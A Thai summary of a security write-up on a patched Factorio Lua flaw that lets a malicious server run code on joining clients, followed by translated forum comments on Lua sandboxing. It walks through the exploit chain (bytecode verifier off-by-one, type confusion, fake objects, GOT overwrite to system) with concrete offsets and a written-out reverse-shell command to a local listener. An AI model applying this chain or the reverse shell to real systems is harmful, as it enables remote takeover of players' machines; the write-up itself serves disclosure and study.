2 คะแนน โดย GN⁺ 2024-06-30 | 1 ความคิดเห็น | แชร์ทาง WhatsApp
  • ช่องโหว่ในอิมพลีเมนเทชัน Lua ของ Factorio ทำให้ เซิร์ฟเวอร์ที่เป็นอันตรายสามารถรันโค้ดตามอำเภอใจบนไคลเอนต์ที่เชื่อมต่อ ได้ และเวอร์ชันที่ได้รับผลกระทบคือ ต่ำกว่า 1.1.101 ซึ่งได้แพตช์ไปแล้ว
  • เนื่องจากโหมดผู้เล่นหลายคนใช้โครงสร้าง deterministic lockstep ที่รันโค้ด Lua เดียวกันทั้งหมด ผู้โจมตีจึงสามารถกระตุ้นช่องโหว่ผ่าน แมปคัสตอมที่เป็นอันตราย บนเส้นทางเครือข่ายได้
  • แกนของปัญหาคือการที่โมดูล base อนุญาตให้ load/loadstring รันไบต์โค้ด ได้ รวมถึงตัวตรวจสอบของ Factorio เองมีปัญหา Off-By-One และขาดการตรวจสอบชนิดข้อมูล
  • เอ็กซ์พลอยต์เริ่มจากการใช้ type confusion ใน FORLOOP เพื่อรั่วไหลที่อยู่หน่วยความจำ จากนั้นจึงบิดเบือนดัชนี upvalue ให้ LClosure กับ TString สับสนกัน เพื่อสร้างอ็อบเจ็กต์ปลอมและทำ arbitrary read/write
  • RCE บน Linux ทำโดยเปลี่ยนที่อยู่ ldexp ใน GOT ให้เป็น system แล้วอาศัยการเรียก math.ldexp อีกทั้งยังต้องปรับแก้เพิ่มเติมเพราะ offset ของสตรักต์ใน Factorio และความต่างของฟอร์แมต %a

ขอบเขตของช่องโหว่และเส้นทางที่ Lua ถูกเปิดให้เข้าถึง

  • ช่องโหว่ในอิมพลีเมนเทชัน Lua ของ Factorio ทำให้ เซิร์ฟเวอร์ที่เป็นอันตรายสามารถรันโค้ดตามอำเภอใจบนไคลเอนต์ ได้ และมีผลกับ Factorio เวอร์ชัน ต่ำกว่า 1.1.101
  • Lua ถูกใช้ใน Factorio สำหรับตรรกะของเกม ม็อด และการสร้างแมปคัสตอม
    • ม็อดสามารถดาวน์โหลดได้จากในเกมหรือจาก Factorio Mods
    • ชุมชนม็อดมีม็อดอยู่หลายพันรายการ และบางรายการมียอดดาวน์โหลดเกิน 500,000 ครั้ง
  • แม้จะดูเหมือนเป็นการโจมตีแบบโลคัลที่ต้องให้ผู้ใช้ติดตั้งม็อดอันตรายเอง แต่เพราะวิธีซิงก์ของโหมดผู้เล่นหลายคน ทำให้ Lua interpreter ถูกเปิดผ่าน เส้นทางเครือข่าย
  • โหมดผู้เล่นหลายคนของ Factorio ใช้ deterministic lockstep
    • ส่งผ่านเครือข่ายเฉพาะอินพุตของผู้ใช้ ไม่ใช่สถานะของเกมทั้งหมด
    • เกมของผู้เล่นทุกคนต้องจำลองแต่ละ tick ให้เหมือนกันทั้งหมด
    • ถ้าผู้เล่นคนหนึ่งรันโค้ด Lua ผู้เล่นที่เหลือก็ต้องรันโค้ดเดียวกันเพื่อรักษาการซิงก์
  • เส้นทางที่ผู้โจมตีใช้เพื่อให้เกิดการรันโค้ด Lua สรุปได้ 2 แบบ
    • เมื่อมีสิทธิ์ สามารถรันโค้ด Lua จากเซิร์ฟเวอร์ด้วยคำสั่ง /c
    • สร้าง แมปคัสตอม ที่มีโค้ด Lua อยู่ข้างใน เพื่อให้ไคลเอนต์รันตอนเชื่อมต่อเซิร์ฟเวอร์
  • หากนำเซิร์ฟเวอร์อันตรายไปแสดงใน server browser ก็สามารถสร้างลำดับเหตุการณ์ที่เหยื่อดาวน์โหลดแมปและรันโค้ด Lua ได้

ลำดับการโจมตีทั้งหมด

  • การโจมตีเริ่มจากเซิร์ฟเวอร์ Factorio แจกจ่าย แมปอันตราย
    • ใส่เอ็กซ์พลอยต์ไว้ในโค้ด Lua ของ scenario ในแมป
    • เมื่อไคลเอนต์เชื่อมต่อเซิร์ฟเวอร์ ก็จะดาวน์โหลดแมปและรันโค้ด Lua ที่เกี่ยวข้อง
  • จากนั้นอาศัยจุดอ่อนในอิมพลีเมนเทชัน Lua เพื่อสร้าง อ็อบเจ็กต์ปลอม (fake object)
    • อ็อบเจ็กต์ปลอมทำให้รั่วไหลหน่วยความจำและทำลายหน่วยความจำได้
    • ผลลัพธ์คือสามารถสร้าง primitive หลายแบบที่นำไปสู่การรันโค้ดได้
  • ในภาษาแบบไดนามิก อ็อบเจ็กต์ปลอมคือเครื่องมือหลักที่ทำให้ผู้โจมตีได้อำนาจควบคุมสูง
    • สตริงสามารถใช้รั่วไหลข้อมูลตามอำเภอใจได้
    • อาร์เรย์หรือตารางสามารถใช้เขียนหน่วยความจำตามอำเภอใจได้
    • หากมีเส้นทางเรียก native function ก็อาจต่อยอดไปสู่การควบคุม execution flow ได้

การรัน Lua ไบต์โค้ดและปัญหาในตัวตรวจสอบ

  • โมดูล Lua ที่รวมอยู่ใน Factorio มีจำกัด
    • debug: เข้าถึงความสามารถด้านดีบัก
    • math: อินเทอร์เฟซคณิตศาสตร์มาตรฐานของ C
    • bit32: การดำเนินการบิต
    • string: จัดการสตริง
    • table: จัดการตาราง
    • base: ฟังก์ชันแกนหลักของ Lua เช่น print
  • แม้จะไม่มีโมดูลที่อันตรายชัดเจนอย่าง os.execute แต่ load และ loadstring ในโมดูล base เปิดให้ รันไบต์โค้ด ได้ จึงทำให้พื้นผิวการโจมตีใหญ่ขึ้น
  • Lua จะคอมไพล์ซอร์สโค้ดเป็น Lua ไบต์โค้ด ก่อน แล้วจึงให้ interpreter รัน
    • ไบต์โค้ดไม่ใช่ภาษาเครื่องของ CPU แต่เป็นรูปแบบที่มีเพียง Lua interpreter เท่านั้นที่รันได้
    • หากฉีดไบต์โค้ดโดยตรงได้ ก็สามารถรันไบต์โค้ดผิดรูปแบบที่คอมไพเลอร์ปกติจะไม่สร้างให้ได้
  • นักพัฒนา Lua รู้ถึงความเสี่ยงของการรันไบต์โค้ดตามอำเภอใจ จึงเคยมีตัวตรวจสอบ แต่ลบออกใน Lua 5.2
    • ในเมลลิงลิสต์ของ Lua มีใจความว่าตัวตรวจสอบเดิมถูกบายพาสซ้ำ ๆ และแอปพลิเคชันที่รันโค้ด Lua ตามอำเภอใจควรหลีกเลี่ยงการรับ precompiled script
  • ดูเหมือนว่านักพัฒนา Factorio จะทำตัวตรวจสอบไบต์โค้ดของตนเองบน Lua 5.2.1
    • ตรรกะป้องกันเน้นอุด พารามิเตอร์ OOB ที่ชัดเจน เช่น การกระโดดออกนอกโค้ดหรือการใช้อินเด็กซ์เกินขอบเขตอาร์เรย์ค่าคงที่
    • แต่ความหมายของ opcode บางตัวทำให้เกิดปัญหา Off-By-One และการจัดการ jump offset อย่าง JMP 0 ทำให้กระโดดออกนอกบล็อกโค้ดได้
    • เพราะส่วนค่าคงที่อาจถูกจัดวางไว้หลัง code chunk ผู้โจมตีจึงเก็บไบต์โค้ดไว้ในส่วนค่าคงที่แล้วใช้ off-by-one jump เพื่อหลบการตรวจสอบและรันมันได้

การรั่วไหลของที่อยู่: type confusion ใน FORLOOP

  • อ็อบเจ็กต์ภายในของ Lua ถูกแทนด้วย TValue
    • TValue ประกอบด้วยส่วนค่าชื่อ Value และ tt_ ที่บอกชนิดข้อมูล
    • Value มีขนาด 8 ไบต์ และจะถูกตีความเป็น double หรือ pointer ตามชนิด
  • ตัวเลขใน Lua 5.2 ทั้งหมดถูกเก็บเป็น double
    • ค่าตัวเลขสามารถเก็บแบบ inline ภายใน union Value ได้โดยไม่ต้องผ่าน pointer
    • หากทำให้ pointer ของสตริงถูกตีความเป็นตัวเลข ก็จะเผยบิตของ pointer ออกมาในรูปค่า double
  • ใน Lua ปกติ print(function) สามารถพิมพ์ที่อยู่ได้ แต่ใน Factorio ฟังก์ชันนี้ถูกลบออก และไม่สามารถรั่วไหลที่อยู่ของสตริงโดยตรงได้
  • opcode สำหรับลูปอย่าง FORLOOP ปกติจะต้องตามหลัง FORPREP
    • FORPREP จะตรวจว่าค่าเริ่มต้น ค่า limit และค่า step เป็นตัวเลขหรือไม่
    • ภายใน FORLOOP ไม่มีการตรวจชนิดของพารามิเตอร์ step และการตรวจแบบ lua_assert ก็ไม่ได้ถูกบังคับใช้ใน build ปกติ
  • ผู้โจมตีสามารถแก้ไบต์โค้ดให้ไม่มี FORPREP แล้วรันเฉพาะ FORLOOP ได้
    • เป็นสถานการณ์ที่คอมไพเลอร์จะไม่สร้างจากซอร์ส Lua ปกติ แต่สร้างขึ้นได้ด้วยไบต์โค้ด
    • หากวางอ็อบเจ็กต์อย่างสตริงไว้ในตำแหน่ง step pointer ใน TValue นั้นจะถูกตีความเป็น double และรั่วไหลออกมา
  • ค่าที่รั่วออกมาไม่ใช่ double ปกติ แต่เป็นบิต pointer ที่ถูกตีความเป็น double จึงดูเหมือนค่าเล็กมาก เช่น 2.1944577826691e-317
    • IEEE 754 binary64 มีบิตเครื่องหมาย 1 บิต เลขชี้กำลัง 11 บิต และ mantissa 52 บิต
    • ถ้าค่า pointer ดูเหมือน denormalized double ก็สามารถกู้ค่าต้นฉบับจาก mantissa ได้
  • Lua 5.2 ไม่มี pack/unpack และไม่มีชนิดจำนวนเต็ม จึงแปลงค่ายาก
    • ในช่วงแรกใช้ string.format("%.13a", double) เพื่ออ่าน mantissa และ exponent แล้วกู้ pointer กลับมา
    • ตัวอย่างค่าที่รั่วไหลถูกกู้กลับเป็น pointer 0x43d6c0 และข้อมูลสตริงจริงอยู่ถัดจาก header ของ TString ไป 24 ไบต์

การบิดเบือน upvalue และ type confusion ของ LClosure

  • Upvalue คือกลไกใน Lua สำหรับเข้าถึงตัวแปรนอกสโคปของฟังก์ชันปัจจุบัน
    • ข้อมูล upvalue ในไบต์โค้ดมีดัชนี ชื่อ สถานะว่าอยู่บนสแตกหรือไม่ และดัชนีบนสแตก
    • ผู้โจมตีสามารถแก้ดัชนี upvalue ที่ฝังอยู่ในไบต์โค้ดได้
  • เมื่อเปลี่ยนดัชนี upvalue ก็สามารถอ้างถึง TValue อื่นบนสแตก แทนตัวแปรโลคัลเดิมได้
    • ในตัวอย่าง มีการเพิ่มดัชนี upvalue ของ target ขึ้นหนึ่ง เพื่อให้ชี้ไปยัง LClosure ของฟังก์ชันปัจจุบัน
    • ไบต์โค้ดที่ถูกแก้แล้วจะแสดง LClosure: 0x... แทน nil
  • ใน Lua หน่วยที่ใช้รันจริงของฟังก์ชันแบ่งเป็น Prototype และ Closure
    • Proto ทำหน้าที่เป็นเทมเพลตของฟังก์ชัน เช่น ไบต์โค้ด ค่าคงที่ บรรทัดต้นทาง และข้อมูล upvalue
    • LClosure ถูกสร้างตอนรันและเชื่อม Proto เข้ากับรายการ upvalue
  • opcode CLOSURE จะสร้าง Lua closure ใหม่ วางลงบนสแตก แล้ว initialize upvalue
    • ถ้ามีตัวแปรโลคัล 3 ตัว LClosure ใหม่อาจถูกวางไว้ที่ base + 3
    • ถ้าเปลี่ยนดัชนี upvalue เป็น 3 ก็จะจับ TValue ของ LClosure ตำแหน่งนั้นได้
  • หากฟังก์ชันชั้นในเขียนทับ LClosure ของฟังก์ชันชั้นนอกด้วยสตริง หลังจาก return แล้ว Lua จะพยายามใช้สตริงนั้นเป็น LClosure และเกิดการชน
    • การตรวจชนิดในเส้นทาง OP_RETURN อาศัย lua_assert และไม่ได้ถูกบังคับในค่าตั้งต้น
    • ผลคือ cl ของ execution frame ปัจจุบันอาจไม่ได้ชี้ไปยัง LClosure จริง แต่ชี้ไปยัง TString ที่ผู้โจมตีควบคุม
  • เมื่อใช้ความต่างของ layout ระหว่าง TString กับ LClosure พื้นที่ข้อมูลผู้ใช้ของสตริงจะทับกับตำแหน่ง Proto *p และ Upval **upval
    • type confusion นี้ทำให้ควบคุม pointer ของ function prototype และ pointer ของอาร์เรย์ upvalue ได้
    • หากชี้ไปยังพื้นที่หน่วยความจำที่ควบคุมได้ ก็สามารถสร้าง อ็อบเจ็กต์ปลอม ได้

อ็อบเจ็กต์ปลอมและ primitive สำหรับอ่าน/เขียน

  • เส้นทางการสร้างอ็อบเจ็กต์ปลอมมีหลัก ๆ สองแบบ
    • ทำให้ Proto ปลอมชี้ไปยังอาร์เรย์ TValue ปลอม
    • ทำให้อาร์เรย์ UpVal ปลอมชี้ไปยัง TValue ปลอม
  • เส้นทางผ่านค่าคงที่ถูกเลือกเพราะมี padding น้อย และฟังก์ชันสามารถใช้ค่าคงที่ซ้ำได้
    • TString ปลอม
    • อาร์เรย์ TValue ที่ชี้ไปยัง TString ปลอม
    • Proto ที่ชี้ไปยังอาร์เรย์ TValue ปลอม
    • LClosure ที่ชี้ไปยัง Proto ปลอม
  • TString ปลอมสามารถตั้งค่าความยาวให้ใหญ่ตามต้องการเพื่อใช้เป็น primitive สำหรับอ่าน
    • Lua ถือว่าข้อมูลสตริงอยู่ถัดจาก header ของ TString
    • ใช้ str:sub() เพื่ออ่านหน่วยความจำในช่วงที่สตริงปลอมครอบคลุม
    • ดัชนีสตริงของ Lua เริ่มที่ 1 จึงต้องชดเชย 1 ไบต์ในการคำนวณ header
  • primitive สำหรับเขียนทำได้โดยทำให้ UpVal ปลอมชี้ไปยัง TValue ของที่อยู่เป้าหมาย
    • เมื่อกำหนดค่าตัวเลขให้ตัวแปร Lua ระบบจะเขียน TValue แบบตัวเลขลงไปยังตำแหน่งนั้น
    • ตัวเลขถูกเก็บแบบ inline ใน 8 ไบต์แรกของ TValue จึงควบคุมส่วน value ได้
    • พร้อมกันนั้น 8 ไบต์ถัดไปจะถูกเขียนข้อมูลชนิดด้วย จึงอาจทำลายหน่วยความจำรอบข้างได้
  • เนื่องจากตัวเลขของ Lua เป็น double หากต้องการเขียนรูปแบบบิตของจำนวนเต็มตามต้องการก็ต้องแปลงก่อน
    • ใช้หน่วยเล็กสุดของ denormalized double คือ 2^-1074
    • เข้ารหัสจำนวนเต็มให้อยู่ในรูป double ด้วย integer_to_double(integer) = integer * 2^-1074

การควบคุม instruction pointer และการบายพาส ASLR

  • Light C Function ของ Lua จะเก็บ function pointer แบบ inline ไว้ใน TValue
    • ชนิดของฟังก์ชันคือ LUA_TFUNCTION และ Light C Function แทนด้วยค่า LUA_TLCF เท่ากับ 22
    • หากใส่ 0xdeadbeef ลงในส่วน value ของ TValue และใส่ 22 ในส่วน type ก็จะสามารถเรียกมันเหมือนฟังก์ชันที่อยู่ที่แอดเดรสนั้นได้
  • เมื่อเรียก Light C Function ปลอม ก็จะควบคุม instruction pointer ได้
    • ในตัวอย่าง RIP กลายเป็น 0xdeadbeef แล้วโปรแกรมล้ม
    • จากนั้นสามารถต่อยอดด้วยเทคนิคเปลี่ยน execution flow อย่าง ROP chain ได้
  • การที่ pointer ของ Light C Function ถูกเก็บแบบ inline ยังมีประโยชน์ต่อการรั่วไหลของที่อยู่
    • หากฟังก์ชัน Lua ถูกอิมพลีเมนต์เป็น light C function ก็ใช้เป็น primitive สำหรับรั่วไหลที่อยู่ของฟังก์ชันอย่าง print ได้
    • จากนั้นนำไปคำนวณ base address ที่ใช้บายพาส ASLR ได้
  • หากยังมีฟังก์ชัน sandboxed ค้างอยู่ในไบนารี ก็อาจเลี่ยงข้อจำกัดได้ด้วยการทำ fake function ให้ชี้ไปยังแอดเดรสนั้นแล้วเรียกใช้

การปรับแก้ให้เข้ากับ Factorio

  • การทดสอบช่วงแรกทำบน Lua interpreter ทางการ แต่การอิมพลีเมนต์ Lua ของ Factorio มี layout ของสตรักต์ต่างออกไป
  • CommonHeader ของอ็อบเจ็กต์ GC ใน Factorio มี pointer previous เพิ่มเข้ามา
    • ใน Lua ทางการมีโครงสร้าง next, tt, marked
    • ส่วน Factorio ดูเหมือนจะเป็น previous, next, tt, marked
  • ความต่างนี้ทำให้ offset บางตำแหน่งเลื่อนไปอีก 8 ไบต์
    • header ของ TString จึงไม่ใช่ 24 ไบต์ แต่เป็น 32 ไบต์
    • ต้องแก้การคำนวณแอดเดรสของเนื้อหาสตริงและแอดเดรสสัมพัทธ์ใน primitive สำหรับอ่าน
    • รวมถึงต้องสะท้อน pointer ที่เพิ่มเข้ามาในการคำนวณ UpVal ปลอมและ fake closure
  • ใน Factorio พฤติกรรมของฟอร์แมต %a ก็ไม่เหมือนกับที่ทดสอบบน Lua ทางการ
    • string.format("%.13a", 2.1038461432219e-316) ไม่ได้ให้ค่า 0x0.000000289c130p-1022 ตามคาด แต่ให้รูปแบบ 0xa.2704c00000000p-1052
    • ทำให้วิธีกู้ค่า double จากการฟอร์แมตสตริงใช้ไม่ได้
  • ท้ายที่สุดจึงเปลี่ยนมาใช้การแปลงแบบเชิงตัวเลขล้วน
    • ค่า denormalized สามารถมองได้ว่าจำนวนเต็มทั้งหมดเริ่มจากบิตขวาสุดต่ำสุด
    • กู้ค่าที่รั่วไหลด้วย double_to_number(double) = double * 2^52 * 2^1022
    • เนื่องจาก 2^1074 ไม่สามารถแทนเป็น double ได้ จึงต้องแยกเป็นการคูณสองขั้น

Linux RCE: สลับ GOT และ math.ldexp

  • บน Linux เส้นทาง RCE ที่เลือกใช้คือ การสลับ GOT แทน ROP chain
    • มองหาฟังก์ชันที่เรียกได้จาก Lua และควบคุมอาร์กิวเมนต์ตัวแรกได้
    • เขียนทับ GOT entry ของฟังก์ชันนั้นให้เป็นแอดเดรสของ system
    • จากนั้นเรียกฟังก์ชันนั้นจาก Lua ให้ทำงานเหมือน system(command)
  • ภายใต้ไลบรารี Lua ที่จำกัดของ Factorio ฟังก์ชันที่เหมาะคือ math.ldexp
    • ภายในจะเรียก ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))
    • การตรวจด้วย GDB ยืนยันว่าอาร์กิวเมนต์ Lua ตัวที่สองถูกส่งไปเป็นรีจิสเตอร์อาร์กิวเมนต์ตัวแรก RDI ของการเรียก libc
  • GOT อยู่ก่อน heap ทำให้ primitive สำหรับอ่านด้วยสตริงปลอมเดิมอ่านได้ยากโดยตรง
    • primitive สำหรับอ่านจะอ่านได้เฉพาะแอดเดรสหลัง header ของสตริงปลอมเท่านั้น
    • จึงอาศัย writable segment ที่อยู่ก่อน GOT เพื่อวาง TString ปลอมไว้ก่อน GOT
  • เมื่อวาง TString ปลอมไว้ก่อน GOT ก็สามารถอ่านแอดเดรสของฟังก์ชันใน libc เพื่อบายพาส ASLR ได้
    • ในตัวอย่าง อ่านแอดเดรสของ memcpy จาก GOT
    • จาก offset ของ libc 2.38 บน Fedora 39 คำนวณได้ว่า libc_base = memcpy - 0x138b80, system = libc_base + 0x2a3b0
  • หลังจากนั้นจึงเขียนทับ GOT entry ของ ldexp ให้เป็นแอดเดรส system
    • ในตัวอย่าง ใช้ตำแหน่ง 0x289ef00 เป็น GOT entry ของ ldexp
    • เขียนทับในรูป write(0x289ef00, system)

การรันคำสั่งและ remote shell ขั้นสุดท้าย

  • ตอนแรกพยายามเก็บคำสั่งไว้ในสตริง Lua แล้วเรียก math.ldexp(0, addr_of(cmd) + 32)
    • คำสั่งอยู่ในรูป sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
    • แต่ Lua เรียก ldexp ด้วย พารามิเตอร์ 32 บิต ทำให้บิตสูงของแอดเดรสสตริงถูกตัดทิ้งและล้มเหลว
  • วิธีเลี่ยงคือเขียนสตริงคำสั่งลงไปตรง ๆ ใน writable segment ของไบนารีที่ใช้สร้างสตริงปลอมก่อนหน้านี้
    • เนื่องจากไม่ได้เปิด PIE แอดเดรสของไบนารีหลักจึงมีขนาดเล็กพอ
    • มีการเขียนสตริงคำสั่งใกล้แอดเดรส 0x289c150 ด้วย write() หลายครั้ง
  • เมื่อเรียก math.ldexp(0, 0x289c150) หลังสลับ GOT แล้ว มันจะทำงานเสมือน system(0x289c150)
  • ผลลัพธ์สุดท้ายยืนยันได้จากเชลล์ที่เชื่อมกลับมายังตัวรับฟังโลคัล nc -lvp 9001
    • พรอมป์ต์เชลล์คือ sh-5.2$
    • ผลของ whoami คือ victim

โจทย์ฝึกและแหล่งอ้างอิง

1 ความคิดเห็น

 
GN⁺ 2024-06-30
ความคิดเห็นใน Hacker News
  • นึกไม่ถึงเลย
    Lua ตีความ bytecode อยู่แล้ว เลยนึกว่าน่าจะตรวจได้ว่าอาร์กิวเมนต์ของคำสั่งมีความหมายสมเหตุสมผลไหม เช่น ชี้ไปยังหน่วยความจำที่ Lua จัดสรรไว้หรือเปล่า
    แต่ในความเป็นจริงไม่ใช่แบบนั้น และแม้ใส่ bytecode ที่มีอาร์กิวเมนต์ผิด ๆ เข้าไปก็ยังรันต่อไปตามเดิม จากนั้นกระบวนการบุกรุกก็สานต่อจากตรงนั้น
    แถมแผนคือจะวิเคราะห์ bytecode แบบสแตติก แทนที่จะแก้ตัว interpreter ซึ่งดูเหมือนจะใช้ได้เฉพาะกรณีง่าย ๆ เท่านั้น
    สำหรับภาษาแบบ interpreter ที่น่าจะเป็นมิตรกับ sandbox แล้วถือว่าน่าผิดหวังพอสมควร และสงสัยว่าจะยอมรับแพตช์ที่แก้ interpreter ไม่ให้เชื่อถืออินพุตหรือไม่ ดูเหมือนพวกเขากังวลเรื่องประสิทธิภาพตก แต่ในเมื่อทางเลือกที่เร็วคือ LuaJIT ก็เลยน่าสงสัยอยู่

    • สำหรับ “แพตช์ที่ทำให้ interpreter ไม่เชื่อถืออินพุต” ผมเข้าใจว่าจุดยืนของนักพัฒนา Lua คือโปรเซสที่รันโค้ด Lua ตามอำเภอใจควรรับเฉพาะ ซอร์สโค้ด และควรปิดการโหลด bytecode โดยตรง
      วิธีนี้ดูสมเหตุสมผล เพราะยังเหลือตัวเลือกให้โหลด bytecode ที่เชื่อถือได้โดยตรง ขณะเดียวกันก็ไม่ต้องใส่การตรวจสอบแบบไดนามิกใน interpreter ซึ่งจะกระทบผู้ใช้ทุกคน
    • ตรงข้ามกับความเข้าใจผิดที่พบบ่อย Lua จริง ๆ แล้วไม่ได้ เป็นมิตรกับ sandbox นัก
      ตามการออกแบบ Lua ไม่รับประกันการจบการทำงาน และไม่มีวิธีที่ดีในการบังคับหยุดโปรแกรมที่ไม่น่าเชื่อถือ หากรับอินพุต Lua ที่ไม่น่าเชื่อถือ ก็ควรมองว่าโปรแกรมอาจค้างไปได้ไม่มีกำหนด
      Lua ยอดเยี่ยมสำหรับ อินพุตกึ่งเชื่อถือได้ ที่ผ่านการตรวจสอบขั้นต่ำ เช่น โค้ดที่ดาวน์โหลดจากอินเทอร์เน็ต ต่อให้โค้ดนั้นเป็นอันตรายจริง ก็จำกัดความเสียหายได้มาก แต่กำจัดไม่ได้หมด
      ถ้าต้องการอินพุตที่ไม่เชื่อถือเลยแบบ JavaScript สิ่งที่เหมาะคือ Luau ซึ่งเป็นฟอร์กของ Roblox: https://luau-lang.org/sandbox
    • จะเรียกว่าเป็นมิตรกับ sandbox ก็คงยากไม่ใช่หรือ
      อย่างที่ภาษาอื่น ๆ แสดงให้เห็น การทำ interpreter ที่ปลอดภัยสำหรับ bytecode ไม่ใช่เรื่องง่าย ๆ และก็เป็นการแลกเปลี่ยนเพื่อให้ implementation อ้างอิงเรียบง่ายด้วย
      เมื่อพูดถึงการรันโค้ดของบุคคลที่สาม ผมไม่เชื่อถือ interpreter ส่วนใหญ่แบบนี้เลย แม้แต่เบราว์เซอร์ที่ได้รับงบวิจัยพัฒนาและความสนใจมากมาย ผมก็ยังเชื่อถือได้แค่แบบเฉียด ๆ เท่านั้น
    • เป็นเรื่องที่คาดเดาได้ ควรรันเฉพาะ bytecode ที่คอมไพเลอร์ที่ถูกต้องสร้างขึ้นจริง เท่านั้น ไม่เช่นนั้นจะเกิดการละเมิด memory safety หรือการหลุดออกจาก sandbox และยังสามารถหลุดจาก sandbox ผ่านการละเมิด memory safety ได้ด้วย
      ก็เหมือนกับการไม่รันโค้ดเครื่องตามอำเภอใจนั่นแหละ
      Luau ก็มีคุณสมบัติเดียวกัน แต่ Roblox ก็ไม่ได้เจ็บปวดกับการหลุด sandbox ตลอดเวลาไม่ใช่หรือ
    • Java, Wasm, BPF แสดงให้เห็นว่า bytecode ที่ตรวจสอบแบบสแตติกได้ เป็นไปได้แม้ในภาษาแบบ JIT compile ปัญหาของ Lua คือ bytecode ไม่ได้ให้ข้อมูลที่จำเป็นสำหรับการตรวจสอบความปลอดภัยอย่างสมบูรณ์
  • อยากให้ส่วนนี้ถูกนิยามหรือทำเป็นเอกสารให้ชัดเจนกว่านี้ ตอนนี้ต้องไปหาคำตอบเองว่าภาษาใดรับประกันความปลอดภัยได้อย่างสมเหตุสมผล
    เช่น มีกรณีพื้นฐานที่โค้ดแบบสแตติกรันโดยผู้ใช้เอง ซึ่งเป็นกรณีที่ภาษาโดยทั่วไปรวมถึง Lua ใส่ใจ
    อีกกรณีคือรับโค้ดแบบไดนามิกมารันในกระบวนการอัปเดต แต่ใช้เฉพาะช่องทางทางการเท่านั้น ตอนนั้นอาจพอผ่านไปได้ถ้าทำให้โปรเซสปลอดภัย แต่ก็ไม่แน่ชัด
    ยังมีกรณีที่ผู้ใช้สามารถเพิ่มโค้ดเป็นปลั๊กอิน และติดตั้งได้ง่ายด้วยการกดปุ่มเดียวจากสโตร์ แม้จะตรวจทานปลั๊กอินได้ แต่โดยมากแทบทำไม่ได้จริง จึงต้องพิจารณาว่าจำเป็นต้องมี sandbox หรือผู้ใช้ต้องระวังเอง
    ยังมีเกมมัลติเพลเยอร์ที่ขยายได้ด้วยปลั๊กอินเฉพาะฝั่งเซิร์ฟเวอร์ ไม่ใช่ฝั่งไคลเอนต์ ต้องคำนึงว่าผู้เล่นที่เปิดเซิร์ฟเวอร์มักทดลองใช้ปลั๊กอินหลายตัวอย่างกระตือรือร้น และชุมชนปลั๊กอินก็อาจมีความเสี่ยงสูงกว่ามาก
    สุดท้ายคือเกมมัลติเพลเยอร์แบบเบราว์เซอร์ที่เซิร์ฟเวอร์สามารถรันโค้ดตามอำเภอใจบนไคลเอนต์ได้ ในกรณีนี้ต้องระวัง sandbox ฝั่งไคลเอนต์เป็นพิเศษ เพราะเกมเมอร์มักเข้าเซิร์ฟเวอร์ตามอำเภอใจโดยไม่คิดถึงผลกระทบด้านความปลอดภัย
    Factorio เข้ากรณีสุดท้ายนี้พอดี ผมไม่ได้คัดค้านเสียทีเดียวว่านักพัฒนาควรประเมินเรื่องนี้ แต่เช่น ข้อเท็จจริงที่ว่าฟังก์ชัน load ของ Lua สามารถรัน bytecode ตามอำเภอใจที่ไม่ปลอดภัยได้นั้น ไม่ได้ชัดเจนเสมอไป
    พูดตามตรง ผมไม่รู้ว่า bytecode ของ Lua ไม่ปลอดภัย และรู้ว่า bytecode ของ LuaJIT ไม่ปลอดภัย แต่เรื่องนี้ดูเหมือนถูกเขียนไว้ประปรายในเมลลิงลิสต์หรือ GitHub issue ราวกับเป็นเรื่องที่รู้กันอยู่แล้ว
    ยังมีปัญหาที่เซิร์ฟเวอร์สามารถทำให้ไคลเอนต์ค้างได้ด้วย แค่ทำลูปไม่รู้จบก็พอ อย่างไรก็ตาม เรื่องนี้หลีกเลี่ยงได้ยากกว่ามาก และบางทีการพยายามหลีกเลี่ยงอาจไม่มีความหมายก็ได้

    • ไม่ควรสันนิษฐานว่าวิธีใด ๆ ที่รันโค้ดซึ่งผู้โจมตีควบคุมนั้นปลอดภัย โดยเฉพาะอย่างยิ่งถ้าไม่ได้ระบุชัดว่าเป็นวิธีที่ปลอดภัย และไม่ได้ทุ่ม ความพยายามระดับ Google เพื่อรองรับเรื่องนั้น
    • Mordhau ซึ่งเป็นเกมที่ใช้ Unreal Engine เคยมีฟีเจอร์ ข้อความประจำวัน ที่ผู้ดูแลเซิร์ฟเวอร์ใส่ URL แล้วเมื่อผู้เล่นเชื่อมต่อ เบราว์เซอร์ในเกมจะเปิดขึ้นมา
      ฝั่งไคลเอนต์ไม่มีตัวเลือกให้ปิดเบราว์เซอร์ และเท่าที่รู้ นักพัฒนาปิดใช้งานมันทั้งหมดในท้ายที่สุด แต่สถานะตอนนี้ไม่แน่ใจ
      มันแสดงให้เห็นว่าเกมและเอนจินเกมซับซ้อนขึ้นขนาดไหน มีเว็บเบราว์เซอร์ฝังอยู่ในที่ที่ดูเหมือนไม่มีเหตุผลอะไรเป็นพิเศษ
    • สิ่งแรกที่ควรดูคือโซลูชันนั้นระบุชัดหรือไม่ว่าเป็น sandbox ที่ปลอดภัยต่อ speculative execution คงมีไม่กี่ที่ที่ทำแบบนั้น แต่บางที่ก็มี และใช้ตรงนั้นเป็นจุดเริ่มตัดสินได้
  • เบื้องหลัง Factorio มีทีมพัฒนาที่ยอดเยี่ยมจริง ๆ จึงเชื่อว่าพวกเขากำลังพยายามอย่างเต็มที่เพื่อแก้ปัญหาแบบนี้ เพียงแต่การพัฒนาเกมโดยรวมมีลักษณะเป็นงานสร้างสรรค์สูง ทำให้เรื่องอย่างแนวปฏิบัติด้านโค้ดหรือความปลอดภัยดูเหมือนถูกดันไปไว้ทีหลัง
    น่าสงสัยว่าในไคลเอนต์และเซิร์ฟเวอร์เกมจะมี ช่องโหว่ zero-day ซ่อนอยู่มากแค่ไหน

    • โดยพื้นฐานแล้วมองว่าเกมที่มีการโต้ตอบจากระยะไกลนั้นไม่ปลอดภัยอย่างสมบูรณ์ ควรรัน Steam และเกมทั้งหมดไว้ใน sandbox รูปแบบใดรูปแบบหนึ่ง
      Flatpak อาจเป็นจุดเริ่มต้นที่ช่วยได้ แม้คอนเทนเนอร์จะไม่ใช่ขอบเขตความปลอดภัยที่แข็งแรง แต่ก็กัน exploit แบบง่าย ๆ ได้
    • คงไม่ดีเท่าไร ลองคิดดูว่าทำไมผู้ผลิตคอนโซลอย่าง Xbox, Sony, Nintendo จึงไม่อนุญาตให้เชื่อมต่อไปยัง IP เซิร์ฟเวอร์ใดก็ได้ หรือรองรับม็อด
